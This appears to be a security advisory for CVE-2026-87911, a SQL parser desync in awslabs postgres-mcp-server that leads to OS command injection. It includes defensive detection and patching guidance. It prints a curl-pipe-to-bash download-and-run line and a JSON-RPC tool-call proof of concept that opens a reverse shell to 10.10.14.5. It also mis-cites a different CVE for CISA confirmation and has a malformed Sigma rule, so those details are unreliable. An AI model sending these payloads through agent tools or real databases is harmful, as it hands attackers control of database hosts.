CVE-2026-87911: awslabs postgres-mcp-server SQL Parser Desync to Command Injection
HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT
Target:awslabs postgres-mcp-server (awslabs.postgres_mcp_server.sql_validator) CVSS v3.1 rates this at 9.6 (Critical). Hermes Threat Score assigns 96 (CRITICAL). Because Model Context Protocol (MCP) servers are deployed as autonomous tool providers for LLM agents, an unauthenticated prompt injection or agent tool call that achieves OS command injection on the database host grants full system control.
CVE-2026-87911: awslabs postgres-mcp-server SQL Parser Desync to Command InjectionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in AWS MCP Server Suite documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Matrix
Section titled โ1. Technical Context & Affected Matrixโ| Parameter | Technical Specification | Threat Context |
|---|---|---|
| CVE Identifier | CVE-2026-87911 | Frontier AI / MCP Threat Landscape |
| Target Product | awslabs postgres-mcp-server | Amazon Web Services / MCP Community |
| Subsystem / Component | awslabs.postgres_mcp_server.sql_validator | Autonomous agent tool & orchestration stack |
| Flaw Type | CWE-78: OS Command Injection / CWE-89: SQL Injection | Execution and integrity violation |
| Affected Versions | all versions prior to 1.1.7 | Production deployments |
| Remediation Release | 1.1.7 | Immediate upgrade required |
2. In-Depth Technical Decomposition
Section titled โ2. In-Depth Technical DecompositionโSQL Parser Desynchronization Mechanics
Section titled โSQL Parser Desynchronization MechanicsโThe server regex validator checked queries with:
re.match(r"^\s*SELECT\b", query, re.IGNORECASE)
An attacker crafts a query where a valid SELECT precedes a nested dollar-quoted block or multi-statement payload:
SELECT $$safe_block$$; COPY (SELECT '') TO PROGRAM 'curl -s http://10.10.14.5:8000/rev | bash'; --Because the regex only checked the start of the string without enforcing single-statement boundaries or handling PostgreSQL dollar-quote lexical scanners, the MCP server passed the query directly to asyncpg.execute(), executing the command injection on the PostgreSQL container host.
+----------------------------------------------------------------------------------------------------+| CVE-2026-87911 ATTACK LIFECYCLE FLOW |+----------------------------------------------------------------------------------------------------+
[Adversary / Prompt Injection] โ โ [1] Dispatches payload targeting tool interface or orchestration hook โผ [awslabs postgres-mcp-server] โ โโโโโบ 1. Ingestion via awslabs.postgres_mcp_server.sql_validator โ - Inadequate sanitization or permission callback failure โ โโโโโบ 2. Execution / State Mutation โ - Escapes sandbox / bypasses read-only guard / executes OS command โ โผ [Impacted Target Infrastructure] โ โโโโโบ Unauthorized data exfiltration, system takeover, or persistent code execution+----------------------------------------------------------------------------------------------------+3. Proof of Concept & Payload Dissection
Section titled โ3. Proof of Concept & Payload Dissectionโ{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "execute_sql", "arguments": { "query": "SELECT $$validation_test$$; COPY (SELECT 'exfil') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/9001 0>&1"'; --" } }}4. Detection Engineering & Telemetry
Section titled โ4. Detection Engineering & TelemetryโSigma Detection Rule
Section titled โSigma Detection Ruleโtitle: PostgreSQL MCP Server COPY TO PROGRAM Executionid: 87911c01-e911-4a1b-9f22-mcppostgrescmd01status: highdescription: Detects invocation of PostgreSQL COPY TO PROGRAM commands through MCP database server tools.author: Hermes Codex Detection Engineeringdate: 2026-09-06logsource: product: postgresql service: query_logdetection: selection: statement|contains: - 'COPY' - 'TO PROGRAM' condition: selectionlevel: critical5. Remediation & Operational Playbook
Section titled โ5. Remediation & Operational Playbookโ- Apply Software Patches: Upgrade
awslabs postgres-mcp-serverto version(s)1.1.7immediately. - Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
- Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
- Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.